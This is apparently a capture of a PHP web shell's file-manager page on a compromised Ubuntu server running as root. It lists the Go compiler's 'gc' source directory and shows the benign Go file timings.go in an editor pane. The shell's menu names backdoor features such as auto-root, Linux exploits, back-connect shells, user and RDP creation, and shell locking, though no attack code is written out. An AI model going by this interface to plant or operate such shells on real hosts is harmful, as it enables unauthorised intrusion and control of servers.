Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
cmd /
compile /
internal /
gc /
[ HOME SHELL ]
Name
Size
Permission
Action
builtin
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
alg.go
16.28
KB
-rw-r--r--
align.go
9.85
KB
-rw-r--r--
bexport.go
4.41
KB
-rw-r--r--
bimport.go
667
B
-rw-r--r--
bitset.go
1.15
KB
-rw-r--r--
bootstrap.go
311
B
-rw-r--r--
builtin.go
16.41
KB
-rw-r--r--
builtin_test.go
622
B
-rw-r--r--
bv.go
5.5
KB
-rw-r--r--
class_string.go
712
B
-rw-r--r--
closure.go
15.57
KB
-rw-r--r--
const.go
27.21
KB
-rw-r--r--
constFold_test.go
322.99
KB
-rw-r--r--
dcl.go
28.37
KB
-rw-r--r--
dep_test.go
587
B
-rw-r--r--
dump.go
6.37
KB
-rw-r--r--
dwinl.go
10.07
KB
-rw-r--r--
esc.go
12.22
KB
-rw-r--r--
escape.go
37.37
KB
-rw-r--r--
export.go
5.33
KB
-rw-r--r--
fixedbugs_test.go
2.23
KB
-rw-r--r--
float_test.go
11.51
KB
-rw-r--r--
fmt.go
41.71
KB
-rw-r--r--
gen.go
2.33
KB
-rw-r--r--
global_test.go
2.57
KB
-rw-r--r--
go.go
7.4
KB
-rw-r--r--
gsubr.go
9.08
KB
-rw-r--r--
iexport.go
31.65
KB
-rw-r--r--
iface_test.go
1.92
KB
-rw-r--r--
iimport.go
22.79
KB
-rw-r--r--
init.go
3.29
KB
-rw-r--r--
initorder.go
9.84
KB
-rw-r--r--
inl.go
35.08
KB
-rw-r--r--
inl_test.go
6.64
KB
-rw-r--r--
lang_test.go
1.46
KB
-rw-r--r--
lex.go
5.96
KB
-rw-r--r--
lex_test.go
3.63
KB
-rw-r--r--
logic_test.go
11.08
KB
-rw-r--r--
main.go
43.75
KB
-rw-r--r--
mapfile_mmap.go
1.21
KB
-rw-r--r--
mapfile_read.go
485
B
-rw-r--r--
mkbuiltin.go
5.34
KB
-rw-r--r--
mpfloat.go
6.56
KB
-rw-r--r--
mpint.go
5.34
KB
-rw-r--r--
noder.go
37.65
KB
-rw-r--r--
obj.go
11.44
KB
-rw-r--r--
op_string.go
4.88
KB
-rw-r--r--
order.go
37.39
KB
-rw-r--r--
pgen.go
21.66
KB
-rw-r--r--
pgen_test.go
6.01
KB
-rw-r--r--
phi.go
14.72
KB
-rw-r--r--
plive.go
44.51
KB
-rw-r--r--
pprof.go
274
B
-rw-r--r--
racewalk.go
2.61
KB
-rw-r--r--
range.go
13.72
KB
-rw-r--r--
reflect.go
48.07
KB
-rw-r--r--
reproduciblebuilds_test.go
1.46
KB
-rw-r--r--
scc.go
4.18
KB
-rw-r--r--
scope.go
2.8
KB
-rw-r--r--
scope_test.go
13.67
KB
-rw-r--r--
select.go
9.16
KB
-rw-r--r--
shift_test.go
21.46
KB
-rw-r--r--
sinit.go
26.75
KB
-rw-r--r--
sizeof_test.go
844
B
-rw-r--r--
ssa.go
224.4
KB
-rw-r--r--
ssa_test.go
5.1
KB
-rw-r--r--
subr.go
43.73
KB
-rw-r--r--
swt.go
18.51
KB
-rw-r--r--
syntax.go
36.41
KB
-rw-r--r--
timings.go
5.75
KB
-rw-r--r--
trace.go
494
B
-rw-r--r--
truncconst_test.go
1.76
KB
-rw-r--r--
typecheck.go
87.11
KB
-rw-r--r--
types.go
1.19
KB
-rw-r--r--
types_acc.go
491
B
-rw-r--r--
universe.go
10.88
KB
-rw-r--r--
unsafe.go
1.8
KB
-rw-r--r--
util.go
2.18
KB
-rw-r--r--
walk.go
101.89
KB
-rw-r--r--
zerorange_test.go
1.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : timings.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package gc import ( "fmt" "io" "strings" "time" ) // Timings collects the execution times of labeled phases // which are added trough a sequence of Start/Stop calls. // Events may be associated with each phase via AddEvent. type Timings struct { list []timestamp events map[int][]*event // lazily allocated } type timestamp struct { time time.Time label string start bool } type event struct { size int64 // count or amount of data processed (allocations, data size, lines, funcs, ...) unit string // unit of size measure (count, MB, lines, funcs, ...) } func (t *Timings) append(labels []string, start bool) { t.list = append(t.list, timestamp{time.Now(), strings.Join(labels, ":"), start}) } // Start marks the beginning of a new phase and implicitly stops the previous phase. // The phase name is the colon-separated concatenation of the labels. func (t *Timings) Start(labels ...string) { t.append(labels, true) } // Stop marks the end of a phase and implicitly starts a new phase. // The labels are added to the labels of the ended phase. func (t *Timings) Stop(labels ...string) { t.append(labels, false) } // AddEvent associates an event, i.e., a count, or an amount of data, // with the most recently started or stopped phase; or the very first // phase if Start or Stop hasn't been called yet. The unit specifies // the unit of measurement (e.g., MB, lines, no. of funcs, etc.). func (t *Timings) AddEvent(size int64, unit string) { m := t.events if m == nil { m = make(map[int][]*event) t.events = m } i := len(t.list) if i > 0 { i-- } m[i] = append(m[i], &event{size, unit}) } // Write prints the phase times to w. // The prefix is printed at the start of each line. func (t *Timings) Write(w io.Writer, prefix string) { if len(t.list) > 0 { var lines lines // group of phases with shared non-empty label prefix var group struct { label string // label prefix tot time.Duration // accumulated phase time size int // number of phases collected in group } // accumulated time between Stop/Start timestamps var unaccounted time.Duration // process Start/Stop timestamps pt := &t.list[0] // previous timestamp tot := t.list[len(t.list)-1].time.Sub(pt.time) for i := 1; i < len(t.list); i++ { qt := &t.list[i] // current timestamp dt := qt.time.Sub(pt.time) var label string var events []*event if pt.start { // previous phase started label = pt.label events = t.events[i-1] if qt.start { // start implicitly ended previous phase; nothing to do } else { // stop ended previous phase; append stop labels, if any if qt.label != "" { label += ":" + qt.label } // events associated with stop replace prior events if e := t.events[i]; e != nil { events = e } } } else { // previous phase stopped if qt.start { // between a stopped and started phase; unaccounted time unaccounted += dt } else { // previous stop implicitly started current phase label = qt.label events = t.events[i] } } if label != "" { // add phase to existing group, or start a new group l := commonPrefix(group.label, label) if group.size == 1 && l != "" || group.size > 1 && l == group.label { // add to existing group group.label = l group.tot += dt group.size++ } else { // start a new group if group.size > 1 { lines.add(prefix+group.label+"subtotal", 1, group.tot, tot, nil) } group.label = label group.tot = dt group.size = 1 } // write phase lines.add(prefix+label, 1, dt, tot, events) } pt = qt } if group.size > 1 { lines.add(prefix+group.label+"subtotal", 1, group.tot, tot, nil) } if unaccounted != 0 { lines.add(prefix+"unaccounted", 1, unaccounted, tot, nil) } lines.add(prefix+"total", 1, tot, tot, nil) lines.write(w) } } func commonPrefix(a, b string) string { i := 0 for i < len(a) && i < len(b) && a[i] == b[i] { i++ } return a[:i] } type lines [][]string func (lines *lines) add(label string, n int, dt, tot time.Duration, events []*event) { var line []string add := func(format string, args ...interface{}) { line = append(line, fmt.Sprintf(format, args...)) } add("%s", label) add(" %d", n) add(" %d ns/op", dt) add(" %.2f %%", float64(dt)/float64(tot)*100) for _, e := range events { add(" %d", e.size) add(" %s", e.unit) add(" %d", int64(float64(e.size)/dt.Seconds()+0.5)) add(" %s/s", e.unit) } *lines = append(*lines, line) } func (lines lines) write(w io.Writer) { // determine column widths and contents var widths []int var number []bool for _, line := range lines { for i, col := range line { if i < len(widths) { if len(col) > widths[i] { widths[i] = len(col) } } else { widths = append(widths, len(col)) number = append(number, isnumber(col)) // first line determines column contents } } } // make column widths a multiple of align for more stable output const align = 1 // set to a value > 1 to enable if align > 1 { for i, w := range widths { w += align - 1 widths[i] = w - w%align } } // print lines taking column widths and contents into account for _, line := range lines { for i, col := range line { format := "%-*s" if number[i] { format = "%*s" // numbers are right-aligned } fmt.Fprintf(w, format, widths[i], col) } fmt.Fprintln(w) } } func isnumber(s string) bool { for _, ch := range s { if ch <= ' ' { continue // ignore leading whitespace } return '0' <= ch && ch <= '9' || ch == '.' || ch == '-' || ch == '+' } return false }
Close